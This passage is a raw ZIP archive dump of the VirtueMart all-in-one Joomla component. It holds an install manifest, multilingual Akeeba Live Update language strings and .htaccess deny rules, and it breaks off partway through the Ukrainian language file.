}PK@y>\H-vm::.components/com_virtuemart_allinone/install.xmlnuW+A VirtueMart_allinone January 10 2014 Copyright (C) 2004-2013 Virtuemart Team. All rights reserved. http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL The VirtueMart Development Team http://www.virtuemart.net 2.0.26d script.vmallinone.php script.vmallinone.php script.vmallinone.php VirtueMart AIO index.html admin.virtuemart_allinone.php config.php assets classes language languageBE languageFE libraries plugins modules PK@y>\> 55Fcomponents/com_virtuemart_allinone/language/th-TH/th-TH.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="เซิฟเวอร์นี่ไม่รองรับ Live Update" LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. กรุณาติดต่อผู้ให้บริการโฮสและบอกให้เปิดใช้ cURL PHP extension หรือ activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="คุณยังสามารถทำการปรับปรุง %s โดยการเข้าไปยังเว็บไซต์ด้วยตนเอง แล้วทำการดาวน์โหลดเวอร์ชั่นล่าสุด มาติดตั้งใหม่ ผ่านทาง การติดตั้งส่วนขยาย ในจูมล่า" LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "Refresh update information" button below. If that results to a blank page, please contact your host and report this issue." LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." LIVEUPDATE_HASUPDATES_HEAD="มีเวอร์ชั่นใหม่กว่าแล้ว" LIVEUPDATE_NOUPDATES_HEAD="คุณใช้เวอร์ชั่นล่าสุดอยู่แล้ว " LIVEUPDATE_CURRENTVERSION="เวอร์ชั่นที่ติดตั้ง" LIVEUPDATE_LATESTVERSION="เวอร์ชั่น ล่าสุด" LIVEUPDATE_LATESTRELEASED="วันที่ รีรีสล่าสุด" LIVEUPDATE_DOWNLOADURL="Direct download URL" LIVEUPDATE_REFRESH_INFO="รีเฟรช เพื่อปรับปรุงข้อมูล" LIVEUPDATE_DO_UPDATE="ปรับปรุงเป็นเวอร์ชั่นล่าสุด" LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

      Please provide the FTP username and password below to proceed with the update." LIVEUPDATE_FTP="รายละเอียด FTP" LIVEUPDATE_FTPUSERNAME="FTP Username" LIVEUPDATE_FTPPASSWORD="FTP Password" LIVEUPDATE_DOWNLOAD_AND_INSTALL="ดาวน์โหลด และติดตั้งเวอร์ชั่นล่าสุด" LIVEUPDATE_DOWNLOAD_FAILED="ดาวน์โหลดแพคเกจอับเดดผิดพลาด ตรวจสอบ temp-directory ของคุณสามารถเขียนได้ หรือคุณได้ทำการเปิดตัวเลือก Joomla!'s FTP ใน site's Global Configuration แล้ว" LIVEUPDATE_EXTRACT_FAILED="การแตกไฟล์แพคเกจล้มเหลว กรุณาลองปรับปรุงส่วนขยายด้วยตนเอง" LIVEUPDATE_INVALID_PACKAGE_TYPE="ประเภทแพคเกจไม่ถูกต้อง ไม่สามารถทำการปรับปรุงได้ " LIVEUPDATE_INSTALLEXT="ติดตั้ง %s %s" LIVEUPDATE_ERROR="ผิดพลาด" LIVEUPDATE_SUCCESS="สำเร็จ" LIVEUPDATE_ICON_UNSUPPORTED="ไม่รองรับ Live Update" LIVEUPDATE_ICON_CRASHED="Live Update เสียหาย" LIVEUPDATE_ICON_CURRENT="คุณใช้งานเวอร์ชั่นล่าสุดอยู่" LIVEUPDATE_ICON_UPDATES="พบการปรับปรุง คลิกเพื่อทำการปรับปรุง"PK@y>\);components/com_virtuemart_allinone/language/th-TH/.htaccessnuW+A Order allow,deny Deny from all PK@y>\);components/com_virtuemart_allinone/language/da-DK/.htaccessnuW+A Order allow,deny Deny from all PK@y>\kN Fcomponents/com_virtuemart_allinone/language/da-DK/da-DK.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Opdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live opdatering understøttes ikke af denne server" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live opdatering ikke er understøttet. Kontakt venligst din udbyder og spørg dem om at aktivere cURL PHP udvidelsen eller aktivere URL fopen() wrappers. Hvis disse allerede er aktive, så spørg dem venligst om at konfigurere deres firewall, således at den tillader adgang til følgende :"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan altid opdatere %s ved at besøge vores side manuelt og hente den seneste udgivelse og derefter installere den ved at bruge Joomla!'s udvidelsesinstaller." LIVEUPDATE_STUCK_HEAD="Live opdatering melder at den gik ned" LIVEUPDATE_STUCK_INFO="Live opdatering opdagede at den gik ned sidste gang den prøvede at kontakte opdateringsserveren. Dette indikerer nomalt en udbyder der aktivt blokerer kommunikation med eksterne sider. Hvis du vil forsøge at hente opdateringsinformationen igen, klik da venligst på "Opdater opdateringsinformation" herunder. Hvis det resulterer i en blank side, så kontakt venligst din udbyder og rapporter dette problem." LIVEUPDATE_ERROR_NEEDSAUTH="Du skal angive dit brugernavn/adgangskode eller Download ID i komponentens indstillinger, før du kan opdatere til den seneste version. Opdateringsknappen vil forblive inaktiv indtil da." LIVEUPDATE_HASUPDATES_HEAD="En ny version er tilgængelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den seneste version" LIVEUPDATE_CURRENTVERSION="Installeret version" LIVEUPDATE_LATESTVERSION="Seneste version" LIVEUPDATE_LATESTRELEASED="Seneste udgivelsesdato" LIVEUPDATE_DOWNLOADURL="Direkte download link" LIVEUPDATE_REFRESH_INFO="Opdater opdateringsinformation" LIVEUPDATE_DO_UPDATE="Opdater til seneste version" LIVEUPDATE_FTP_REQUIRED="Live opdatering har opdaget at den skal bruge FTP for at kunne hente og installere din opdatering, men da du har ikke gemt FTP logind information i din Joomla! globale konfiguration.

      Angiv venligst FTP brugernavn og adgangskode herunder for at fortsætte med opdateringen." LIVEUPDATE_FTP="FTP information" LIVEUPDATE_FTPUSERNAME="FTP Brugernavn" LIVEUPDATE_FTPPASSWORD="FTP Adgangskode" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Hent og installer opdatering" LIVEUPDATE_DOWNLOAD_FAILED="Hentning af opdateringspakken fejlede. Vær venligst sikker på at din temp mappe er skrivbar og at du har aktiveret Joomla!'s FTP mulighed i Joomla!'s globale konfiguration." LIVEUPDATE_EXTRACT_FAILED="Udpakning af opdateringspakken fejlede. Opdater venligst udvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakketype. Opdateringen kan ikke fortsætte." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Fejl" LIVEUPDATE_SUCCESS="Korrekt" LIVEUPDATE_ICON_UNSUPPORTED="Live opdatering er ikke understøttet" LIVEUPDATE_ICON_CRASHED="Live opdatering gik ned" LIVEUPDATE_ICON_CURRENT="Du har den seneste version" LIVEUPDATE_ICON_UPDATES="OPDATERING FUNDET! OPDATER NU."PK@y>\);components/com_virtuemart_allinone/language/nb-NO/.htaccessnuW+A Order allow,deny Deny from all PK@y>\mfL L Fcomponents/com_virtuemart_allinone/language/nb-NO/nb-NO.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live oppdatering" LIVEUPDATE_NOTSUPPORTED_HEAD="Live oppdatering støttes ikke på denne serveren" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerer at Live oppdatering ikke støttes. Vennligst kontakt din leverandør og be dem aktivere cURL PHP eller aktivere URL fopen() wrappers. Dersom disse allerede er aktivert, kan du be dem om å konfigurere sin brannmur slik at den gir tilgang til følgende URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid oppdatere manuelt%s ved å besøke vår side, laste ned den nyeste versjonen, og installere det ved hjelp av Joomla installasjonsprogrammet." LIVEUPDATE_STUCK_HEAD="Live oppdatering har markert seg selv som krasjet" LIVEUPDATE_STUCK_INFO="Live oppdatering krasjet forrige gang den prøvde å kontakte oppdateringsserveren. Dette betyr vanligvis en leverandør som aktivt blokkerer kommunikasjon med eksterne nettsteder. Hvis du ønsker å prøve å hente oppdateringsinformasjonen, klikk på knappen "Oppdater oppdateringsinformasjonen" under. Hvis dette resulterer i en blank side, kontakte din leverandør og rapportere dette problemet." LIVEUPDATE_ERROR_NEEDSAUTH="Du må oppgi brukernavn/passord eller nedlastnings ID til komponentens parametre før du forsøker å oppgradere til siste versjon. Oppgraderingsknappen vil forbli deaktivert til du gjøre det." LIVEUPDATE_HASUPDATES_HEAD="En ny versjon er tilgjengelig" LIVEUPDATE_NOUPDATES_HEAD="Du har allerede den nyeste versjonen" LIVEUPDATE_CURRENTVERSION="Installert versjon" LIVEUPDATE_LATESTVERSION="Nyeste versjon" LIVEUPDATE_LATESTRELEASED="Siste utgivelsesdato" LIVEUPDATE_DOWNLOADURL="Nedlastingsadresse" LIVEUPDATE_REFRESH_INFO="Oppdater oppdateringsinformasjonen" LIVEUPDATE_DO_UPDATE="Oppdatering til siste versjon" LIVEUPDATE_FTP_REQUIRED="Live oppdatering har behov for å bruke FTP for å laste ned og installere oppdateringen, men du har ikke lagret FTP påloggingsinformasjonen i Joomla! Global konfigurasjon .

      Vennligst oppgi FTP brukernavn og passord nedenfor for å fortsette med oppdateringen." LIVEUPDATE_FTP="Informasjon" LIVEUPDATE_FTPUSERNAME="FTP brukernavn" LIVEUPDATE_FTPPASSWORD="FTP Passord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Last ned og installer oppdateringen" LIVEUPDATE_DOWNLOAD_FAILED="Nedlasting av oppdateringen mislyktes. Pass på at temp-mappen er skrivbar, eller at du har aktivert Joomla! 's FTP alternativer i Global konfigurasjon." LIVEUPDATE_EXTRACT_FAILED="Utpakking av oppdateringspakken mislyktes. Prøv å oppdatere utvidelsen manuelt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ugyldig pakke type. Oppdateringen kan ikke fortsette." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Feil" LIVEUPDATE_SUCCESS="Vellykket" LIVEUPDATE_ICON_UNSUPPORTED="Live oppdatering støttes ikke" LIVEUPDATE_ICON_CRASHED="Live oppdatering krasjet" LIVEUPDATE_ICON_CURRENT="Du har den nyeste versjonen" LIVEUPDATE_ICON_UPDATES="OPPDATERING FUNNET! KLIKK FOR Å OPPDATERE."PK@y>\Xv Fcomponents/com_virtuemart_allinone/language/de-DE/de-DE.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translated by Niko Winckel - www.nik-o-mat.de LIVEUPDATE_TASK_OVERVIEW="Echtzeitaktualisierung" LIVEUPDATE_NOTSUPPORTED_HEAD="Die Echtzeitaktualisierung wird auf diesem Server nicht unterstützt" LIVEUPDATE_NOTSUPPORTED_INFO="Ihr Server zeigt an, dass die Echtzeitaktualisierung nicht unterstützt wird. Bitte kontaktieren Sie Ihren Anbieter und bitten ihn, die cURL-PHP-Erweiterung zu aktivieren oder die URL fopen() Wrapper. Sollten diese schon aktviert sein, bitten Sie ihn, die Firewall so zu konfigurieren, dass sie den Zugriff auf folgende URL zulässt:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Sie können immer aktualisieren %s indem Sie unsere Internetseite besuchen, die neueste Version herunterladen und ganz normal installieren." LIVEUPDATE_STUCK_HEAD="Die Echtzeitaktualisierung hat sich selbst als abgestürzt gemeldet" LIVEUPDATE_STUCK_INFO="Die Echtzeitaktualisierung hat festgestellt, dass sie beim letzten Versuch den Aktualisierungsserver zu erreichen abgestürzt ist. Dies deutet meist auf einen Anbieter hin, der die Kommunikation mit externen Servern blockiert. Sollten Sie die Aktulalisierungsinformationen nochmals abrufen wollen, klicken Sie bitte auf den Knopf "Aktualisierungsinformationen abrufen". Sollte dieser Versuch auf einer weißen Seite enden, melden Sie diesen Fehler ihrem Anbieter." LIVEUPDATE_ERROR_NEEDSAUTH="Bevor Sie eine Echtzeitaktualisierung durchführen können, müssen Sie Ihren Benutzernamen, das Passwort bzw. die Download-ID angeben. Der Aktualisierungsknopf wird solange ohne Funktion bleiben." LIVEUPDATE_HASUPDATES_HEAD="Es gibt eine neue Version" LIVEUPDATE_NOUPDATES_HEAD="Sie haben die aktuelle Version" LIVEUPDATE_CURRENTVERSION="Installierte Version" LIVEUPDATE_LATESTVERSION="Neueste Version" LIVEUPDATE_LATESTRELEASED="Neuestes Veröffentlichungsdatum" LIVEUPDATE_DOWNLOADURL="Direkte Download-URL" LIVEUPDATE_REFRESH_INFO="Aktualisierungsinformationen abrufen" LIVEUPDATE_DO_UPDATE="Auf die neueste Version aktualisieren" LIVEUPDATE_FTP_REQUIRED="Die Echtzeitaktualisierung hat festgestellt, dass FTP für die Aktualisierung und Installation verwednet werden muss. Sie haben aber noch keine FTP-Daten in der Joomla!-Konfiguraton angegeben.

      BItte geben Sie Ihre FTP-Daten ein, bevor Sie mit der Aktualisierung fortfahren." LIVEUPDATE_FTP="FTP Informationen" LIVEUPDATE_FTPUSERNAME="FTP Benutzername" LIVEUPDATE_FTPPASSWORD="FTP Passwort" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Aktualisierung herunterladen und installieren" LIVEUPDATE_DOWNLOAD_FAILED="Das Herunterladen des Aktualisierungspakets ist fehlgeschlagen. Bitte stellen Sie sicher, dass Ihr temp-Verzeichnis Schreibrechte besitzt und Sie Ihre FTP-Nutzerdaten in der Joomla!-Konfiguration angegeben haben." LIVEUPDATE_EXTRACT_FAILED="Das Auspacken des Aktualisierungspakets ist fehlgeschlagen. Bitte aktualisieren Sie die Erweiterung manuell." LIVEUPDATE_INVALID_PACKAGE_TYPE="Falscher Aktualisierungspakettyp. Die Aktualisierung kann nicht durchgeführt werden." LIVEUPDATE_INSTALLEXT="Installiere %s %s" LIVEUPDATE_ERROR="Fehler" LIVEUPDATE_SUCCESS="Erfolg" LIVEUPDATE_ICON_UNSUPPORTED="Echtzeitaktualisierung nicht unterstützt" LIVEUPDATE_ICON_CRASHED="Live Update abgestürzt" LIVEUPDATE_ICON_CURRENT="Sie haben die aktuelle Version" LIVEUPDATE_ICON_UPDATES="AKTUALISIERUNG GEFUNDEN! JETZT AKTUALISIEREN."PK@y>\);components/com_virtuemart_allinone/language/de-DE/.htaccessnuW+A Order allow,deny Deny from all PK@y>\);components/com_virtuemart_allinone/language/pl-PL/.htaccessnuW+A Order allow,deny Deny from all PK@y>\@2R Fcomponents/com_virtuemart_allinone/language/pl-PL/pl-PL.liveupdate.ininuW+A; $Id: pl-PL.liveupdate.ini 632 2011-05-22 20:44:46Z nikosdion $ ; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translated by: Marek Kolka - 'zorro' - http://www.zorro.cal24.pl LIVEUPDATE_TASK_OVERVIEW="Aktualizacja" LIVEUPDATE_NOTSUPPORTED_HEAD="Aktualizacja nie jest obsługiwana na tym serwerze" LIVEUPDATE_NOTSUPPORTED_INFO="Twój serwer sygnalizuje, że Aktualizacja nie jest obsługiwana. Proszę skontaktować się administratorem hosta i poprosić o włączenie rozszerzenia cURL PHP albo aktywowanie URL fopen() wrappers. Jeżeli te są już włączone, poproś o skonfigurowanie firewalla tak, by umożliwił dostęp do następującego adresu URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Zawsze można zaktualizować %s odwiedzając naszeą witrynę ręcznie, pobranie najnowszej wersji i instalacji za pomocą instalatora rozszerzeń Joomla!." LIVEUPDATE_STUCK_HEAD="Aktualizacja oznaczona jako niepowodzenie" LIVEUPDATE_STUCK_INFO="Aktualizacja zaznacza o niepowodzeniu podczas ostatniej próby kontaktu z serwerem aktualizacji. To zwykle wskazuje na hosta, który aktywnie blokuje komunikacje z zewnętrznymi stronami. Jeśli chcesz ponowić próbę pobierania informacje o aktualizacji, kliknij przycisk "Odśwież informacje o aktualizacji" poniżej. Jeśli wynikiem jest pusta strona, proszę skontaktować się z administracją hosta i zgłosić ten problem." LIVEUPDATE_ERROR_NEEDSAUTH="Musisz podać swój login/hasło lub Download ID w parametrach komponentu przed próbą aktualizacji do najnowszej wersji. Przycisk aktualizacji pozostanie wyłączony do czasu aż to zrobisz." LIVEUPDATE_HASUPDATES_HEAD="Nowa wersja jest dostępna" LIVEUPDATE_NOUPDATES_HEAD="Masz już najnowszą wersję" LIVEUPDATE_CURRENTVERSION="Zainstalowana wersja" LIVEUPDATE_LATESTVERSION="Najnowsza wersja" LIVEUPDATE_LATESTRELEASED="Data najnowszej wersji" LIVEUPDATE_DOWNLOADURL="URL bezpośredniego pobierania" LIVEUPDATE_REFRESH_INFO="Odśwież informacje o aktualizacji" LIVEUPDATE_DO_UPDATE="Aktualizacja do najnowszej wersji" LIVEUPDATE_FTP_REQUIRED="Aktualizacja zaznacza, że musi korzystać z protokołu FTP w celu pobrania i zainstalowania aktualizacji, ale nie zostały wcześniej zapisane dane logowania FTP w twojej Konfiguracji Globalnej Joomla!.

      Prosimy o podanie nazwy użytkownika i hasła FTP poniżej, aby kontynuować aktualizację." LIVEUPDATE_FTP="Informacje FTP" LIVEUPDATE_FTPUSERNAME="Login FTP" LIVEUPDATE_FTPPASSWORD="Hasło FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Pobierz i zainstaluj aktualizację" LIVEUPDATE_DOWNLOAD_FAILED="Pobranie pakietu aktualizacji nie powiodło się. Upewnij się, że katalog tymczasowy jest zapisywalny lub, że masz włączoną opcję FTP Joomla! w Konfiguracji Globalnej twojej witryny." LIVEUPDATE_EXTRACT_FAILED="Rozpakowanie pakietu aktualizacji nie powiodło się. Proszę spróbować aktualizacji rozszerzenia ręcznie." LIVEUPDATE_INVALID_PACKAGE_TYPE="Nieprawidłowy typ pakietu. Aktualizacja nie może być kontynuowana." LIVEUPDATE_INSTALLEXT="Instalacja %s %s" LIVEUPDATE_ERROR="Błąd" LIVEUPDATE_SUCCESS="Powodzenie" LIVEUPDATE_ICON_UNSUPPORTED="Aktualizacja nie jest obsługiwana" LIVEUPDATE_ICON_CRASHED="Aktualizacja nie powiodła się" LIVEUPDATE_ICON_CURRENT="Masz najnowszą wersję" LIVEUPDATE_ICON_UPDATES="ZNALEZIONO AKTUALIZACJĘ! Kliknij!."PK@y>\)5components/com_virtuemart_allinone/language/.htaccessnuW+A Order allow,deny Deny from all PK@y>\);components/com_virtuemart_allinone/language/el-GR/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Fcomponents/com_virtuemart_allinone/language/el-GR/el-GR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Απευθείας Ενημέρωση" LIVEUPDATE_NOTSUPPORTED_HEAD="Η Απευθείας Ενημέρωση δεν υποστηρίζεται από αυτόν τον διακομιστή" LIVEUPDATE_NOTSUPPORTED_INFO="Ο διακομιστής σας δείχνει ότι η Απευθείας Ενημέρωση δεν υποστηρίζεται. Παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας σας και ζητήστε του να ενεργοποιήσει την επέκταση cURL της PHP ή τους URL fopen() wrappers. Εάν είναι ήδη ενεργοποιημένα, παρακαλώ ζητήστε του να ανοίξει το τείχος ασφαλείας ώστε να επιτρέπει την πρόσβαση στην παρακάτω διεύθυνση URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Μπορείτε πάντα να ενημερώστε το λογισμικό %s επισκεπτόμενοι τον ιστότοπό μας, κατεβάζοντας την τελευταία έκδοση και εγκαθιστόντας την με την εγκατάσταση εφαρμογών του Joomla!." LIVEUPDATE_STUCK_HEAD="Η Απευθείας Ενημέρωση ανίχνευσε αποτυχία λειτουργίας" LIVEUPDATE_STUCK_INFO="Η Απευθείας Ενημέρωση εντόπισε ότι η τελευταία απόπειρα επικοινωνίας με τον διακομιστή ενημερώσεων κατέληξε σε κόλλημα. Αυτό συνήθως υποδυκνείει έναν πάροχο φιλοξενίας που μπλοκάρει ενεργά τις προσπάθειες επικοινωνίας με εξωετρικούς ιστοχώρους. Εάν θα θέλατε να δοκιμάσετε να ξαναπροσπαθήσουμε να λάβουμε τις πληροφορίες ενημέρωσεις, παρακαλώ κάντε κλικ στο κουμπί "Ανανέωση πληροφοριών ενημερώσεων" πιο κάτω. Εάν αυτό οδηγήσει σε λευκή σελίδα, παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας και αναφέρετε αυτό το πρόβλημα." LIVEUPDATE_ERROR_NEEDSAUTH="Πρέπει να εισάγετε το όνομα χρήστη και συνθηματικό ή το Αναγνωριστικό Μεταφόρτωσης στις παραμέτρους της εφαρμογής πριν προσπαθήσετε να αναβαθμίσετε στην τελευταία έκδοση. Το κουμπί ενημέρωσης θα παραμείνει ανενεργό έως ότου το κάνετε." LIVEUPDATE_HASUPDATES_HEAD="Μια νέα έκδοση είναι διαθέσιμη" LIVEUPDATE_NOUPDATES_HEAD="Έχετε ήδη την τελευταία έκδοση" LIVEUPDATE_CURRENTVERSION="Εγκατεστημένη έκδοση" LIVEUPDATE_LATESTVERSION="Τελευταία έκδοση" LIVEUPDATE_LATESTRELEASED="Ημερομηνία έκδοσης" LIVEUPDATE_DOWNLOADURL="Διεύθυνση απευθείας μεταφόρτωσης" LIVEUPDATE_REFRESH_INFO="Ανανέωση πληροφοριών ενημεερώσεων" LIVEUPDATE_DO_UPDATE="Ενημέρωση στην τελευταία έκδοση" LIVEUPDATE_FTP_REQUIRED="Η Απευθείας Ενημέρωση εντόπισε ότι απαιτείται η χρήση FTP για να μεταφορτώσει και να εγκαταστήσει την ενημέρωσή σας, αλλά δεν έχετε σώσει τις πληροφορίες εισόδου στο FTP στις Γενικές Ρυθμίσεις του Joomla!.

      Παρακαλώ εισάγετε το όνομα χρήστη και το συνθηματικό για το FTP προκειμένου να προχωρήσετε με την ενημέρωση." LIVEUPDATE_FTP="Πληροφορίες FTP" LIVEUPDATE_FTPUSERNAME="Όνομα Χρήστη FTP" LIVEUPDATE_FTPPASSWORD="Συνθηματικό FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Μεταφόρτωση και εγκατάσταση ενημέρωσης" LIVEUPDATE_DOWNLOAD_FAILED="Η μεταφόρτωση του πακέτου ενημέρωσης απέτυχε. Παρακαλώ βεβαιωθείτε ότι ο κάταλογος προσωρινής αποθήκευσης είναι εγγράψιμος ή ότι έχετε ενεργοποιήσει τις επιλογές FTP στις Γενικές Ρυθμίσεις του ιστοχώρου σας." LIVEUPDATE_EXTRACT_FAILED="Η αποσυμπίεση του πακέτου αναβάθμισης απέτυχε. Παρακαλώ δοκιμάστε να εγκαταστήσετε την επέκταση χειροκίνητα." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ο τύπος του πακέτου δεν είναι έγκυρος. Η αναβάθμιση δεν μπορεί να συνεχίσει." LIVEUPDATE_INSTALLEXT="Εγκατάσταση %s %s" LIVEUPDATE_ERROR="Σφάλμα" LIVEUPDATE_SUCCESS="Επιτυχία" LIVEUPDATE_ICON_UNSUPPORTED="Η Απευθείας Ενημέρωση δεν υποστηρίζεται" LIVEUPDATE_ICON_CRASHED="Η Απευθείας Ενημέρωση κόλλησε" LIVEUPDATE_ICON_CURRENT="Έχετε την τελευταία έκδοση" LIVEUPDATE_ICON_UPDATES="ΒΡΕΘΗΚΕ ΕΝΗΜΕΡΩΣΗ! ΚΑΝΤΕ ΚΛΙΚ ΓΙΑ ΑΝΑΒΑΘΜΙΣΗ."PK@y>\##Fcomponents/com_virtuemart_allinone/language/fr-FR/fr-FR.liveupdate.ininuW+A; Package Akeeba Backup ; Version fr-FR.liveupdate.ini 2011-07-23 by Sarki ; Copyright (c)2006-2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU GPLv3 or later ; Note : All ini files need to be saved as UTF-8 LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update n'est pas pris en charge sur ce serveur" LIVEUPDATE_NOTSUPPORTED_INFO="Votre serveur indique que Live Update n'est pas supporté. Veuillez contactez votre hébergeur et leur demander d'activer l'extension PHP cURL ou activer la fonction fopen URL () . Si ceux-ci sont déjà activés, veuillez leur demander de configurer leur pare-feu afin qu'il autorise l'accès à l'URL suivante:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Vous pouvez toujours mettre à jour %s en visitant notre site manuellement, télécharger la dernière version et l'installer en utilisant l'extension d'installation de Joomla!" LIVEUPDATE_STUCK_HEAD="Live Update a échoué !" LIVEUPDATE_STUCK_INFO="Live Update a échoué la dernière fois qu'il a essayé de contacter le serveur de mise à jour. Cela signifie généralement que votre hébergeur bloque activement les communications avec des sites externes. Si vous souhaitez réessayer de récupérer les informations de mise à jour, cliquez sur le bouton " Rafraichir les informations de mise à jour ". S'il en résulte une page blanche, veuillez contactez votre hébergeur et lui signaler ce problème." LIVEUPDATE_ERROR_NEEDSAUTH="Pour activer le bouton de mise à jour, vous devez fournir votre nom d'utilisateur/mot de passe ( ou votre ID de Téléchargement ) dans les paramètres du composant pour pouvoir mettre à jour vers la dernière version." LIVEUPDATE_HASUPDATES_HEAD="Une nouvelle version est disponible" LIVEUPDATE_NOUPDATES_HEAD="Vous avez la dernière version" LIVEUPDATE_CURRENTVERSION="Version installée" LIVEUPDATE_LATESTVERSION="Dernière version" LIVEUPDATE_LATESTRELEASED="Date de la dernière version " LIVEUPDATE_DOWNLOADURL="URL de téléchargement directe" LIVEUPDATE_REFRESH_INFO="Rafraichir les informations de mise à jour" LIVEUPDATE_DO_UPDATE="Mettre à jour vers la dernière version" LIVEUPDATE_FTP_REQUIRED="Live Update a besoin d'utiliser la couche FTP pour télécharger et installer la mise à jour, mais vous n'avez pas sauvegardé vos informations de connexion FTP dans la Configuration globale de Joomla!

      Veuillez fournir ci-dessous votre nom d'utilisateur et votre mot de passe FTP afin de procéder à la mise à jour." LIVEUPDATE_FTP="Informations FTP" LIVEUPDATE_FTPUSERNAME="Nom d'utilisateur FTP" LIVEUPDATE_FTPPASSWORD="Mot de passe FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Télécharger et installez la mise à jour" LIVEUPDATE_DOWNLOAD_FAILED="Le téléchargement du package de mise à jour a échoué. Assurez-vous que votre répertoire temporaire (tmp) est accessible en écriture et que vous avez activé les options FTP dans la configuration globale de Joomla!." LIVEUPDATE_EXTRACT_FAILED="L'extraction du package de mise à jour a échoué. Veuillez mettez à jour l'extension manuellement." LIVEUPDATE_INVALID_PACKAGE_TYPE="Le type du package n'est pas valide. La mise à jour ne peut pas continuer." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Erreur" LIVEUPDATE_SUCCESS="Réussite" LIVEUPDATE_ICON_UNSUPPORTED="Live Update n'est pas pris en charge" LIVEUPDATE_ICON_CRASHED="Live Update a échoué!" LIVEUPDATE_ICON_CURRENT="Vous avez la dernière version" LIVEUPDATE_ICON_UPDATES="MISE À JOUR ! Cliquez pour l'appliquer..."PK@y>\);components/com_virtuemart_allinone/language/fr-FR/.htaccessnuW+A Order allow,deny Deny from all PK@y>\);components/com_virtuemart_allinone/language/uk-UA/.htaccessnuW+A Order allow,deny Deny from all PK@y>\COFcomponents/com_virtuemart_allinone/language/uk-UA/uk-UA.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update не підтримується на цьому сервері" LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сигналізує, що Live Update не підтримується. Будь ласка, зв’яжіться з вашим постачальником послуг хостингу і попросіть його ввімкнути розширення PHP cURL або активувати пакувальники URL fopen(). Якщо вони вже ввімкнені, будь ласка, попросіть його сконфігурувати мережеві екрани так, щоб вони дозволяли доступ до цих URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Ви можете завжди оновити %s відвідавши наш сайт персонально, завантажити останній випуск та встановити його, використовуючи інсталятор розширень Joomla!." LIVEUPDATE_STUCK_HEAD="Live Update позначив себе таким, що зазнав краху" LIVEUPDATE_STUCK_INFO="Live Update визначив, що він зазнав краху останнього разу, коли намагався зв’язатися з сервером оновлень. Це зазвичай означає, що хост активно блокує комунікацію з зовнішніми сайтами. Якщо ви ви захочете спробувати знову отримати інформацію про оновлення, будь ласка, натисніть на кнопку "Оновити інформацію " нижче. Якщо це видасть пусту сторінку, будь ласка, зв’яжіться з постачальником послуг хостингу і опишіть цю проблему." LIVEUPDATE_ERROR_NEEDSAUTH="Ви повинні надати ваше ім’я користувача/пароль або ID завантаження в параметрах компоненту перед тим, як намагатися оновитися до останнього випуску. Кнопка оновлення буде залишатися неактивною, 